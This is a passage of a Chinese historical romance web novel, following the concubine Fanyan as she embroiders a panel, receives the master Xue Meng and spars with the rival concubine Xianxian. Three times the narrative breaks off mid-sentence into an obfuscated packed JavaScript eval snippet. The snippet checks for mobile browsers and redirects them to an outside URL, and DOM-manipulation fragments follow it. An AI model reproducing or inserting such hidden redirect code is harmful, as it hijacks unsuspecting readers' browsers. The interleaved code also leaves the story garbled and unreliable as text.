梵烟一抿嘴：“你的本事我当然放心。只是凭咱们三个人，不是理到明年去都理不完？何如再找几个帮手？” 九莺摇摇头：“家主和夫人赏东西来时都有单子。内院这边我看着七巧列的，再揪细不过；前院办事的纵粗疏些，实也离不了大格，究竟不难梳理。如今咱们这里虽配有两房人差使，但各自品性暂不可知，更难保不与谁沾亲带故，终究人多眼杂，不该把家底儿全露出来。” 梵烟听她样样周到，不禁道：“夫人真心疼我，把你们俩派到我身边。” “你感念夫人是应当的。”九莺将笔墨账簿都摆好，“我和十锦也只感念夫人——说句不怕你恼的话，在正院时，有你和七巧两个人镇在上头，我这辈子都别想升发，如今才叫趁愿呢！” 九莺所料不差，天初擦黑时，一屋子的东西都造册归类了：歆荣赠的金、点翠、珍珠、宝石全套头面，零散的璎珞、钏镯、环珰、约指，赏人的荷包、金银锞子；冬季的毛料、羽缎、斗篷、雪褂、昭君套、手筒子、羊皮靴；待裁的整匹蜀锦、漳绒、织金缎；床上的云锦缂丝幔帐、枕被，地上的大幅栽绒毯，妆花的桌围、椅披；鎏金的盥盆、唾盒，白玉的香盒、珐琅水瓶；象牙、犀角、冻石的碗、盘、碟、杯、匙、箸；中外各色香料：端砚、徽墨、宣纸、湖笔…… 十锦起先还边理边咋舌，到后头也颇有点见惯不惊的意思了。九莺比她有见识些，小心卷起最后一幅《秋林野兴图》，玩笑说：“这画可别叫七巧看见。她想这画想了好一阵了，连临摹都不敢开口，偏生夫人就给了你，恐怕她写单子时心都在滴血。” 梵烟想了一想，罕见地吝啬起来：“那就收好了，惟愿她忘掉之前别来我这儿。” 正说话间，隐约听见外头一阵喧闹，十锦活动了下手脚，正要出去看，被九莺拦下了：“必是那边要备饭备水了，没什么稀奇。” 梵烟早知纤纤自设了一处炉灶，便于平素做些体己羹汤，歆荣亦是随她的意思。只今晚算是她的新婚夜，大厨房同样提前预备了酒宴，难不成她另有巧心？ 或许像她那样，才配得上薛盟又是洋红蜡烛、又是麒麟赐服的一番心思。 横竖不与她们相干。更换后的芙蓉帐褥恰合梵烟的意，干脆早早歇下，明日好去见歆荣。 次日却听说，因太子有差遣，薛盟宿在了东宫。 17. 十七 歆荣甫一知晓，蓦然生出一股被愚弄的愤怒：她原该警醒，胆敢为母亲举荐解颐郎君、以眼还眼的薛誓之，怎会当真甘受长公主摆布、被迫仓促纳了梵烟？ 这是一个男女情|爱上都本能玩弄权术的封建权贵。而她们正要靠争抢他的欢心以活着。 她恨得滴血，却无人可吐露。听见七巧说梵烟来了，尚不得不瞒着她这唯一无话不说的小妹妹。 “我料你舍不得我，果然就来了。”歆荣笑着，拉梵烟过来：“才让厨房做了玫瑰乳酥，咱们一道吃。” 梵烟不忙着坐，先端正向歆荣蹲了个万福，换来一句嗔怪：“又没外人，演这些做什么？”仍如昔日一样，众人坐齐了，略吃了几口饭，迫不及待地叙话。 “…那两房人我知道，都是薛盟从外面买来的。”歆荣拿绢子掖了掖唇角：“高高瘦瘦那个人称顺嫂，她男人柳顺是侍弄花木的，不太爱说话；两口子有一儿一女，儿子在西角门上听差，女儿还小呢，暂时没分派活计。另一个白皮儿大眼睛的是岳五嫂，岳五新近得了薛盟赏识，在外头街市上很吃得开。这夫妇俩办事倒伶俐，只是偶尔过于乖滑些，你要掂量着用。” 梵烟细细听罢，半真半假道：“从前我在你身边，事事留神，仍有顾不到的地方，原来你心里全一清二楚，我算是杞人忧天了，再不必枉自牵挂、自作多情。” “这话比方才的香橼脯还酸！”歆荣说着，又来拧她的脸颊，见她还是老样子，脂粉不施的，无非开脸时修过眉毛，较从前更类柳叶些。 不免想起纤纤——正经该唤吕姨娘了——登门敬茶时那一派插金戴宝、粉光脂艳的光景。暗暗太息。 外面洋洋洒洒又飘起雪来，不能出门，大家聚在熏笼旁玩歆荣改良的《升官图》①。 梵烟向来擅长这个，渐渐入了迷，赢得盆满钵满之际，外头有人通传，吕姨娘来了。 纤纤一进屋先告罪，说今日睡得太熟，误了晨省的时辰。 “有什么要紧？”歆荣冲她招招手：“外面又静，屋里又暖，独自待着可不贪睡？咱们也是玩乐着岔一岔困，你来了更好。” 梵烟站起身，与她互相行了个平礼。 纤纤复走到歆荣面前，好替她参谋一二。余光瞥着梵烟，见她虽绾了妇人发式，衣饰并不奢华，竟同做婢女时无甚差别。 果真如此安分守己，何不做一辈子忠心奴才？纤纤因自有一番抱负，难免觉得她心中藏奸，不可不多加防备。 这边七巧已识趣让出位置来，另搬一个绣墩与她坐。纤纤看了一回，便明白了玩法，且不着急下场，依旧傍着歆荣下首，不时说两句俏皮话活络场面。 歆荣耐了一阵，说：“我全听你说笑话去了，竟顾不上输赢。”纤纤这才讪讪住了口。 梵烟闻言先撂了骰子，两手一摊：“夫人要赖我的账，我也没什么法子。” 歆荣笑啐她：“我劝你见好就收吧！你纵家大业大，比不过我官大，仔细我治你一个不敬上峰。”众人皆哄笑。 唯纤纤颊边笑意凝了一霎，转瞬即逝：“可不是这个理儿！妹妹运道好，也全仰仗夫人宽厚，真是羡煞旁人。” “你听听，”歆荣虚点了点纤纤，向梵烟道，“赶紧拿银子出来做个东道，否则我头一个不放你走！” “这个自然。”梵烟亦顺着她的话说：“夫人与姐姐想吃什么，别说厨房里现有的，就是龙肝凤髓，我立时带着兵刃剖去。” 正说到此节，恰巧厨房女人来求见，七巧听过，进来回话：“外头有人给家主送来一篓子鲥鱼，家主吩咐俱给内院。因这鲜物久搁不得，所以他们来讨个示下。” 纤纤讶然：“这时节江面都封冻了，便是破冰捕捞，得些鲤鱼、鲈鱼还罢，活鲥鱼却着实难得。” 歆荣想了一回：“应是海河洄游来的…不知是谁送的，收不收得？”吩咐人先去寻澜序问清楚。 片刻澜序跑了来，进屋给三位女眷行礼，笑说：“夫人安心收下，这是周驸马送的。本来我们家主出了宫门就要回来，偏被这位爷拦住了，好说歹说拉去叙旧，叙到这时辰才脱身。现下家主要补眠，吩咐先将这稀罕玩意儿送进来。” 歆荣、梵烟皆不知周驸马何许人也，纤纤出来解惑：“便是当今皇后嫡亲二公主的夫婿、周信礼老将军的幼子。周将军当年追随今上南征北战，从龙有功，没准儿这对伉俪还是青梅竹马呢。” 歆荣了然：“既这么，咱们也没有独享的道理。先挑出两尾最大的，派个脚程快的稳当人，给殿下送去；余下的——”她转向梵烟：“真真是你亲剖龙肝凤髓的孝心感动上天，居然让你赶上这么一份巧，少不得许你分派了。” 梵烟深知这是歆荣有心给自己作脸，若推辞反是叫她下不来台，极应从善如流：“他们外头应酬，总免不了饮酒，莫如拣两尾来做馄饨，等家主醒来用正合适。”说着问澜序：“还有几尾？” 澜序略估了下：“大约总有十来尾。” “纤纤姐姐身子娇弱些，冬日里很该温补着，多得两尾，算我借夫人的光做人情；我那份中晌就整治出来，再添银子佐几道鲜菜，叫她们做精细点儿，别让我的东道被比下去太狠。”梵烟冲歆荣一笑：“还有剩就做成糟的，咱们日日来夫人这儿连吃带喝。” 纤纤观她主仆二人一唱一和，无须她出声便定下来，再发异议又有何用？况且自己还像得了优容一般。于是也笑：“我自是求之不得，只盼夫人和妹妹别嫌我愚笨碍眼才好。” 歆荣“唉哟哟”起来，佯向梵烟抱怨：“她倒是自谦，活脱脱一个伶俐美人儿，要不是长公主疼儿子，我们连见识都没处见识去。” 纤纤红了脸：“夫人就拿我取笑吧。”转了话头，不再提这些。 用过饭，眼见雪霁，纤纤起身告辞。歆荣便让传暖轿与她坐，纤纤辞道：“多谢夫人体恤。才吃了饭，原想走一走。” 歆荣点了点头，叮咛她路上慢些，仔细地上滑，又说梵烟：“别回去就闷在屋里睡，你也学些保养之道。” 梵烟答应了：“下午还有针线要做呢。”二人蹲了礼出门。 梵烟带了九莺、十锦，纤纤则一个丫鬟不带。雪霁后风更凛冽了，一路也不便说话，径直到了西跨院，方才互相道别进屋。 梵烟舒了口气，慢慢解斗篷，九莺正待开口，被她蓦地止住了：薛盟还在熏笼上睡着。 九莺连同十锦立刻噤声，得了梵烟一个眼神示意，忙大气不敢出地退至外间。梵烟活动了下手指，继续解开襟前系带，斗篷松垮垂落，被她接在臂弯，蹑足无声地走到桁架前，缓缓挂好了，没有发出一丝响动。 做完这些，她站在原地，感到有些无措。屋内暖意融融，熏笼里传来她们冬日熏衣熏被惯用的蔷薇香气，此外夹杂着一丝若有若无的清冽，似霜雪里新启出的酽酒，如影随形地提醒她，从前的静好秩序赫然被打破。 她不肯靠熏笼太近，也不肯离得太远。移开目光，暂栖在窗槅上，外头的景致却是视而不见。 他怎么会来这里？还睡得这样沉？ 雪光大亮的环境里，她依稀意识到，任由一家之主睡在妾室房中的熏笼上，原是一件极其失礼的事情。 而抛却身份不谈，这也绝非她的本心。 炭火偶尔“毕剥”的微响，似在催促着她做出决断。不知过去多久，熏笼那边传来几不可闻的翻身窸窣，薛盟低唔了一声。 梵烟的心霎时提起来，收回飘远的思绪，方才发现自己仍僵站着，双腿有些发沉。 又静了片刻，男人的声音带着刚睡醒的低哑慵懒，打破了寂静：“…什么时辰了？” 梵烟喉间微动，找回自己的嗓子：“回家主，未时六刻。” 薛盟似乎又躺了一会儿才坐起来，回纹锦衾滑落，露出仅着中衣的上身。他揉了揉眉心，眼睛望向梵烟：“我还道是澜序。” “先前夫人得着鲥鱼，不知来历，所以传了澜序去细问。”梵烟见他掀被下地，赤足踩在栽绒毯上，走至桌前倒水喝。 欲言又止片刻，到底不能坐视不理：“那茶是晨起沏的，早不能喝了…” “无妨。”薛盟摆摆手，一气喝尽了，道：“睡得太燥了。”哼笑一声：“周老四想套我的话，哥哥弟弟的一通死灌。这会儿反倒腹内空荡荡的。” “有新裹的馄饨，叫人煮一碗？”梵烟问道，见薛盟点头，便要出去吩咐，临打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175012|179447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门帘又回过脸儿：“您穿上鞋吧。” 薛盟微怔，忙起身趿了鞋，伸手又理被褥。 梵烟返来，见他显然不得章法，无奈上前代劳，收拾起来，拿出去着人清洗。 薛盟的目光跟着她来了又去，奇道：“我并没吐在床上啊。” “嗯？”梵烟不解。 “我看你眉头微蹙，难道是我沐浴更衣过，仍旧没祛掉酒气、留在被褥里了？” 梵烟慌忙敛了容色：“家主这话倒羞煞我。不说并非如此，就算真脏了床被，更换清洗也是我们的分内事。” 薛盟听她虽仍泾渭分明，但语气中的温良熨帖做不得假，内里便有股按捺不住的情愫，又听得她接着道：“我是想，这熏笼实不是安寝的地方。家主要歇，澜序该服侍您去正院，或者图省事，书房有正经床榻，通泰高卧，不至于受这炭火燥热，到底有裨益些。” 她如此斟词酌句，抗拒外裹着一层关切，关切外再裹着一层抗拒，薛盟焉有品不出来的？舌尖涌起万千滋味，不敢张口辩言。 “爷，馄饨好了！”澜序这杀才！该在的时候不见人影，不该在的时候又大呼小叫没个眼力劲儿。 薛盟大为光火，碍着梵烟在，发作不得，低斥一句：“嚷什么！”接了碗勺，见那馄饨白昙似的，清水里徐徐绽着，无端消下几分火气，尚惦记着梵烟不自在，复找个话头：“哦，是鲥鱼馅的。” 梵烟“嗯”了声，解释说：“馅子已经够鲜了，便没让用吊汤喧宾夺主，只取清水煮的。家主尝尝咸淡。” 薛盟吃了一口，说“正好”，问：“你呢，吃过了不曾？” 梵烟说：“在夫人那儿用过了。” 薛盟颔首，接连几个馄饨下肚，胃里好受许多，酒后的燥渴也消了，一碗见底，刚好不过。 澜序伺机进来收拾了碗筷，悄无声息退了出去，此番学乖了。 薛盟且不忙走，对侍立在旁的梵烟道：“你坐。哪有主人家枯站着的。” 他侧边就是圈椅，梵烟不想坐，含笑走到绣架前，伸手理丝线。 薛盟兴许意识到了她的回避，兴许没有，搭腔又说：“这屋子光线还好，就是小了些。” 其实不是屋小，是他送来的陈设太多。梵烟不便随意挪动，单是换了细软物件的颜色，否则看上去更紧凑。 “把屏风撤掉好不好？”他提议：“寝间单留落地罩就是。这样可以把架子移过来些，做绣活也不怕伤眼睛。” 梵烟无可无不可，顺着他所说瞥了一眼屏风，忽然意识到如此一来，床与熏笼之间也没了隔断。 九莺十锦进来，添了一回茶，薛盟说：“不用点心。”二人下去后，还是没有等到梵烟的回答。 她拈起针，接着绣鹭鸶莲苇②。 薛盟信手捧过她搁在几上的《闽中海错疏》，并不留意翻阅，单看她飞针走线、意态娴雅。少时看出门道来，倒“咦”了一声，问：“怎么绣的这个？” 梵烟指给他看：“您瞧，这羽翼要用施毛针，喙、趾、羽轴要用滚针，腿上的鳞片要用刻鳞针，眼睛要用打籽针…这还只是白鹭，旁边的莲叶莲花、芦苇水塘，更有数不完的针法讲究呢。我只绣一幅，就能练习好多种。” 薛盟大体明白了，赞道：“想不到小小一片绣品，藏了这么多学问。若非听你说来，我竟全未留心过。” 梵烟暗想：你留心这个做什么？外头那么大的天地由你施为，哪里会着眼于我们这一点微末的乐趣。 她眼里一点似喜还嗔的神情，立刻被薛盟察觉到了，严寒肃杀的季节里，零星的火花迸得太猛烈，简直密不透风。分明两个人已经靠得太近了，可仍嫌咫尺难逾。 不，不成。薛盟骤然清醒过来：他想要时常体会到这种闲适的、不设防的相处，就决不能揠苗助长。 不动声色地移开目光，他稍稍挺直背脊，接着看她落针。 鹭鸶眼睛点好时，日头已偏。梵烟略略仰头，缓一缓劲儿，惊觉薛盟仍陪伴在侧。 “看你绣得全神贯注，我实不敢出声打扰。”薛盟得体一颔首：“要掌灯了，我该回去料理俗务了。”不必梵烟起身相送，自取了氅衣披好，掀帘出门。 18. 十八 薛盟口中的俗务，是指太子议亲之事。 本来，他虽虚长太子一两岁，二人平时表兄表弟相称，但储君的终身，无论如何轮不到他置喙。 不过在旁人眼里，他薛赞善又确实是攀交天家的一条好门道。 从龙旧臣里恩荣未减的范家、周家、黎家，离京多年后奉召进宫，还要携妻小共赴除夕宫宴，少不得找他这位春风和气的天子外甥探探局势。 薛盟心里有数，周家已尚得一位公主，绝不会再出一位太子妃，故此与那周驸马小来小往倒无碍，不收他的礼反而是给人难堪、平白让人心惊胆战一场。 至于岿然不动的黎家、左右逢源的范家，皆不理会。 算盘打得正响，来了封请柬，乃是他姑母薛氏做寿，特请他与侄儿媳妇去喝杯薄酒。 这位薛夫人的生辰日子巧也不巧，腊月尾巴上，岁物丰成，亲眷旧故也聚得齐全，只是家家都忙着过年，未必清闲，故而每每登门道贺的不过是几家至亲。 薛盟因此向事忙，着实忘了这一节，一时倒有些推脱不得的意思，想了一想，唤来澜序，未开口吩咐，忽而又笑：“罢了，我亲自去。” 澜序也不敢多问，依旧退出去，自往库楼里打点寿礼——薛盟一时半会儿没记在心上，他们这些底下人却不是吃闲饭的，早估着日子，循例挑了几样东西预备。 到了下半晌，薛盟又往西跨院去，梵烟并两个婢女俱不在。澜序拉了个庭院洒扫的小丫头一问，说是到正院去了。 薛盟暗忖：倒是他迟来一步。于是仍进厅中坐着，抬眼向绣架上一瞥，鹭鸶已绣好了，连荷花也初具雏形，颜色尚未填完，情态已极灵动。 一时不由得走上前去，看入了迷——薛赞善于女红上无甚心得，单是想起幼年溜出学堂、凫水消暑的那片塘子，潋滟如银汉，何等浩大逍遥，后来再去寻，终究不可得了。 正心驰神往之际，毡帘微动，一丝儿北风钻进屋，这才重辨寒暑，定眼瞧见梵烟回来了。 梵烟与他四目相对，而后蹲了个万福，笑意不改：“夫人那里的水仙开了，叫我去赏了半日。慢待了家主，还望宽恕我这回。” 薛盟见她细喘微微，知道必是哪个丫鬟赶去正院报过信儿，她急急返来的，便说：“我横竖闲着无事儿，何必紧赶慢赶的？扰了你们雅兴才是。” 梵烟抿嘴只笑，见高几上奉着茶点，心下稍定。 薛盟看了她一阵，方道：“你和夫人感情厚密，恰好住得也近，一日里串几回门子都便宜——我本来也有句话托你捎给她，你明儿晨省再去说吧。” 梵烟忙听薛盟说来，略觉奇怪：他怎么不自己去告诉歆荣？ 殊不知薛盟原已料定歆荣不耐烦这些人情往来，让梵烟去说，多半顺势就派给梵烟了。 对于梵烟显而易见的疑惑，他佯装未见，走到椅前坐下：“还有一件事，要劳你相助，只是有些夺人所爱了。” 梵烟道：“家主只管吩咐就是，我怎敢不尽心竭力？” 薛盟略一摆手，用的是商量口吻：“管事拟的礼单我刚看过，毫无新鲜之处，更少了一分''自家心意''。若是…将你这副绣品添进去，岂非又周全、又别致？” 梵烟一口答应下来：“不知哪日要，我好尽早绣完。” 薛盟忙说：“还有五六日呢，不急不急。我知道这是最费心神的活计，没得伤了身子。” 梵烟笑说“不会”，见薛盟并没有交代完就离开的意思，反倒悠然端起了茶盏，饮了一口，复评起了案头的岁朝清供：“你这屋里甚是暖和，烧的也是和正院一样的红罗炭，绝无半点儿烟气，为何水仙花却不肯开？” 梵烟顺着他的目光望去，见那青玉盆中的水仙才抽了三两枝嫩茎，仍裹在翠色苞衣中，因说：“我也奇呢，特意托顺嫂请教了柳花匠，听他说要先将花盆置在冷处，经些寒气，再移到室中，装成冬去春来了，骗得水仙开花。” 薛盟觉得这说法很有趣，辗然而笑：“看来你这水仙聪慧过人，并不好骗。” 细看过根茎，亦经过雕刻促发的。薛盟冥思片刻，忽一拊掌：“有个法子不知你听说过没有：喂它一些好酒，它陶醉得醺醺然了，手舞足蹈起来，自然就开了。” 梵烟拧眉：“哪有这样的道理？水仙花儿清芬宜人，怎能用酒糟蹋了，臭烘烘的…” 说着突觉不妥，呐呐住了口。 薛盟见她慌忙收声的模样，非但不恼，眼底笑意更深：“若说我上回饮的那烧酒，自然不成。《群芳谱》里实有醴泉佳酿滋养兰蕙的先例，仅以一二滴兑上清水，想来应是水仙不胜酒力，果然要试，我那里有极柔和的薛涛酒，可以命人取来。” 话音刚落，蓦然见得那紧裹的苞衣微微松动了些许。梵烟还当自己眼花，屏气凝神再看，最高的一枝花莛通灵性似的，又窜高一寸，顶端苞衣裂开细微缝隙，隐约透出内里莹白。 梵烟不由轻声惊叹，侧首见薛盟负手望来，目光却并不在花盆上：“闻酒即动，想不到这水仙竟是花中太白。”二人相视而笑。 恰逢薛盟吩咐的酒送来了，梵烟一时脸热，趁机走开去接。薛盟瞥见外头天阴阴的，因说：“我也该告辞了。”冲她略略颔首，穿上斗篷出门。 梵烟正对着粉白瓷瓶出神，不意他又折回来，掀帘嘱咐道：“今儿可别赶工——我叫她们都看着你。” 梵烟一怔，只得应他：“知道了。” 而后斟了些酒在杯子里，不敢多用，拿一支簪来，簪脚轻沾了沾，向青玉盆里洒了两滴。 九莺十锦都围上来，一道守了一两个时辰，再不见动静，忍不住挨个掩口打起呵欠来，洗漱安寝是正理。 梵烟日有所思，梦里便见那水仙含英吐蕊，开得满满当当，一只花盆盛不下，又分了一盆出来，给歆荣送去。歆荣道这花正好，该给姑太太送去贺寿，别的一概不用；梵烟自己不知怎的也来了宴会，还未告坐，见那一盆水仙化作两只白鸟，“扑棱棱”地将一桌子酒菜都掀翻了… 满场客人作鸟兽散，梵烟正奔走，脚下一空，醒了过来。 天光熹微，时辰尚早。案头的水仙花亭亭静立，并没有泛滥成灾的架势。 不由得啼笑皆非。索性坐起身，披衣下床，洗漱过不忙着梳头，先去看绣架。 十锦跟过来，一面扣着袄儿，一面说：“再用功，也不至于废寝忘食了。” 梵烟回过神，笑道：“你说的是。”坐到妆台前，握着梳子慢慢通头发。 九莺亦穿了衣裳走来，说：“我看那水仙确比昨日挺拔——今儿梳个什么发式？” “今日得戴观音兜了，”梵烟说，“就梳简洁些吧。” 未几厨房女人送早饭来，十锦去接了，回来一边摆碗碟，一边说：“吕姨娘怎么不等我们，自个儿先往正房去了。” 梵烟说：“原也没有约定过，不过是碰巧遇上了，同行一程而已。”吃过饭收拾妥当，亦往歆荣处去。 九莺十锦对视一眼，微微笑了。 及至正房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185107|179447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，果见纤纤已陪坐在歆荣身侧，二人说话。梵烟笑盈盈的，略低着头拨弄一个九连环，听见说梵烟来了，搁下东西笑道：“正说你呢，你就来了。” 梵烟向她蹲了个福，又与纤纤互相厮见一回，笑道：“说我什么？想必没有好话。” 歆荣朝纤纤扬了扬下巴，问的却是梵烟：“咱们素日有个什么不想着你？你昨儿得了家主好东西，却不来孝敬我——你姐姐正替我抱不平呢！” 纤纤不意她这么大喇喇就说了出来，衬得自己先前一番迂回曲折、旁敲侧击竟全成了笑话，脸上立时有些挂不住。 梵烟“嗐”了一声，似有不服：“还说嘴呢，你给我那些水仙花始终不开，要么是我人小福薄，要么就是你挑剩下的才给我——家主看我无计可施，才说了个偏方，拿几滴薛涛酒催一催花，瓶子里还是将满的，这就让九莺给夫人取来。” 歆荣满脸惊异：“这小东西当真要反天！”复冲纤纤递个眼色，不无得意：“不怕你知道，那水仙花岂止是我挑剩下的，又让你姐姐挑了一回，实在看不上眼的，方给了你呢！你待如何？” 梵烟怏怏道：“我能如何？按长幼、按尊卑，理应如此，我撒泼打滚也不抵用。”说罢自己先撑不住笑起来。 纤纤在旁看着，一时羡慕不已，感慨道：“难怪夫人疼梵烟。生得这般模样，口齿又伶俐，说笑逗乐，谁能不喜欢？” 歆荣掩口笑了一阵，宽解她：“伶俐人可爱，实心眼也可疼。咱们这院子里的人，性情不一，品行却都是好的。连带你近身服侍的那几个，我知道你最守礼，其实领着她们过来玩耍又有何妨？只要到外面去时，规矩不错就足矣。” 纤纤受教，诺诺连声，说：“我不比妹妹，自小在夫人身边学规矩，不过照着宫中贵人们行事，画虎类犬而已。因见贵人们谒见高位时，并不携婢女，以表亲身侍奉之意。如今夫人宽厚，特特赏我恩典，我自不敢辜负，赶明儿就见我屋里那几个来给夫人磕头，让她们也沾沾夫人的福泽。” 歆荣点点头：“就是如此才好。” 又聚了一刻，见歆荣主仆另有事要商量，纤纤识趣告退出去。 梵烟目送她离开了，忍不住抱怨：“好没趣儿，一瓶酒便值得她撇下我，抢着来给你报信。” 歆荣轻嗤一声：“世上没趣儿的事多着呢。本来风平浪静，总要有人率先投下一块石头，否则那些兴亡恩仇从何而来？” 见梵烟闷闷的，又叮嘱：“她管了一回家，倒把那院子治理出来了。往后你有些事须得避着她的耳目，有些事却不必遮掩。” 梵烟失笑：“我可不想当搅弄风浪的人。”不肯再深思，转而说起了薛盟的托付。 歆荣果然说：“你知道的，年根底下我的事儿多。除夕宫里赐宴，尚得预备好去伺候那位殿下，实在没这么些工夫——你代我去就是了。” 梵烟忙道不可：“姑太太点明了要请你呢。” 歆荣腹诽：若仅如此，薛盟何不随便打发谁来知会一声？专程让这傻子跑腿儿，指望的就是自己把重任交到她身上。 因说：“她上回见我，还是成婚那日。一个照面罢了，还有多深厚的私交不成？无非是借着做寿，两家增进些来往。你难道不是我们贺家人，出不得这个面？” 梵烟仍觉不妥，歆荣道：“你就这么回薛盟，他若有异议，自己再来找我。” 梵烟别无他法，暗想：你们俩倒是一个模样，素日里看着平易随和，实际最独断专行，怪不得是夫妻。 19. 十九 得知梵烟要赶制绣品，歆荣便让她这几日暂不必过来，梵烟不依：“难道我只配没日没夜地做活儿，串门散心也不许了吗？” 歆荣若有所思，片刻点点头：“这话正是。一时到你的家主面前提一提，要他有个酬谢才对，不然怎么能白支使我们梵烟？” 梵烟被她臊得无话可说，索性就这么走了。 回到房里，换上家常衣裳，浣一回手，便坐到绣架前，继续描荷花。 这日正值各官衙封印，事儿倒比平日芜杂许多。薛盟在东宫盘亘了大半日，又与太子说了一回话，这才下值家来。 一进书房，听见说梵烟那边有请，喜出望外，脱了官袍官帽，一边自换衣裳，一边问澜序：“各铺面有什么新奇玩意儿没有？” 澜序一听，知道他要送梵烟东西，忙拣了珍奇的说：“有一匣指甲盖儿那么大的金刚石，有几瓶比蒸花露香十倍的香水儿，还有哆啰呢和一种卡什么科的五彩棉布，质地样式都是咱们从没见过的…” 薛盟“啧”了一声，皆不满意，踱着步琢磨一会，问：“宝华斋交上来的呢？” 澜序会意，索性招呼人取了单子来念：“佛郎机靛五十罐，占城金五十罐，狮国翠三十罐，那不勒斯黄——” “行了行了。”薛盟拍了板：“将这些颜料分装好，选个隔断彩匣子盛，这就办来。” 澜序赶忙应下，快马加鞭去了，双手捧着盒子返来时，薛盟已立在廊下张望。 主仆二人再无别话，一心往西跨院走。 走至窗前，忽闻梵烟长叹一声：“今儿再不能了！” 又一人道：“别说你不能，便是我这指甲也不能了。” 薛盟听了，心里一动，打了帘子进去，见梵烟坐在绣架前伸懒腰，便道：“你果然把我的话当耳旁风，多早晚了还点灯熬油地绣。” 梵烟私底下恣意，不想遭他撞见，一时红了脸，忙站起身，赧然笑道：“今日手上觉着顺，不留神就绣到了这会儿，并没有苦心勤奋。” 薛盟见她两眼微饧，鬓发微蓬，天然一片妩媚娇憨，不禁心荡神摇，转头接过澜序手里的别红葵花奁盒，强自敛容：“这下我倒犹豫要不要给你了。” 梵烟见他卖关子，一时忍不住问：“是什么？” 薛盟引她走到桌前，先搁下盒子，倒水与她喝，而后才揭开给她瞧。 梵烟顿时两眼放光，旋即又皱眉：“哪里来的这等颜料？我们往常如何调也调不出来，偏它会取巧，径直将那云兴霞蔚、秀水明山裁剪下来，储在格子里随用随取……” 薛盟细究她这番慨叹，颇有些如痴如醉的意思了，虽十分可爱，但又担心她再入了迷，越发浑然忘我，不得不煞风景道：“其实也就是西洋人造的罢了。唯因他们那儿的矿石与大徵不同，所以略有区别，算不得世间罕有。” 梵烟听了便笑：“是我没有见识了。”仍捧着盒子爱不释手，忽然想起一事，终于抬起头望向薛盟，唇边含着点儿羞意：“家主赐下这样好的东西，我委实不敢独享。夫人院里的七巧，最擅丹青，连我这幅绣品也是劳她拓的样。家主若许我赠她两样颜料使，不但不枉我与她要好一场，我再支使她帮着劈丝线，也更理直气壮些。” 薛盟正要答应，话未出口改了主意：“我有一个条件。” “什么条件？” 薛盟望着她笑：“你应当知道的。若猜到了，不必说出来，愿意照办就是；若猜不到，权当欠我一份人情，将来我再向你讨。” 梵烟略猜着几分，只不敢断定，恐说出来平白惹人耻笑，不如猜不到。垂眸思量片刻，低声嘟囔：“这债越欠越多了…” 话音未落，薛盟朗声大笑起来：“你怕债滚债，现下可以先把利钱清了。” 梵烟犹自抚着那别红漆盒，闻言倏地收回手：“还要利钱？” 鬼使神差似的，薛盟忽然伸手蘸取那“狮国翠”，转而点在梵烟鼻尖，梵烟猝不及防，唯觉凉意一触即离，惊得她往后微仰，抬手欲摸又止：“这是做什么！” “喏，利钱收过了。”薛盟佯装镇定，其实亦是心如鼓擂，“你要赠与旁人，随你分配便是。余下我说的那条件，依然作数。” 梵烟面上滚烫，一颗心突突直要跳出喉头来，暗想这人今日怎的这般孟浪。却见薛盟蜷起指尖，神色恢复如常，放低了声音：“你快去洗脸，这就歇着吧，不许再绣了。”说罢自走到门前，掀帘唤九莺打热水来。 梵烟在原地愣了一会儿，心境已乱，倒确实不适合再绣。于是依言去面盆架前洗颜料，铜错金银盥盆里水纹荡漾，底部錾刻的一双鱼儿像活了一般——她有意不让水面照清自己的脸——架子当中的雕花绦环板倒映下来，真真的镜花水月。 薛盟远远立在门边，目光不再遮掩地落于她背影上，一丝被水润过的散发贴在雪白的纤颈上，他下意识想替她掠好，手指微动时，后知后觉刚才那点“狮国翠”已干结在指腹上。 少顷，梵烟取过软巾擦净脸，正待端残水去泼，薛盟走至跟前：“我顺带洗洗。”就把手浸进去，泡了两泡，不见褪色，笑道：“还要借你的香胰子一用。” 梵烟别开脸，说：“该先拿绛雪霜涂一涂，单用胰子搓却搓不尽，反倒抹得一手蓝汪汪。” 薛盟听了，便在架前几样瓶瓶罐罐里寻，见一只秘瓷瓜棱小罐打开着，里面凝着胭脂冻子似的香膏，问：“是这个不是？” 梵烟无奈，走近两步，拿小扁匙挖了两匙在他掌心，薛盟这才洗了，见那缕缕碧痕入水，再无踪迹，莫名生出几分遗憾。 梵烟不知他心思，颊上热意甫退却，提起正事：“夫人听说姑太太做寿，理应与家主同去，尽尽孝心的。可惜年节祭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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及至众人散了，歆荣与梵烟二人对新春的诸项开支。歆荣方问：“你那绣件儿还差多少？我这几日瞧着你倒瘦多了。” 梵烟说：“只剩收尾几针，下半晌我回去就做得完。” 歆荣乜她：“怎么就要在我这儿待到下半晌？耽搁了活儿事小，耽搁了人事却大。” 梵烟搁下账目，恼道：“见天儿拿我取笑。我原知道自己的斤两，不过像那些达官贵人常有个出家修行的替身一般，仗着你的名号而已。你要是厌烦我戳在眼前，一句话我自出去就是了！”说到末尾不由哽咽难言。 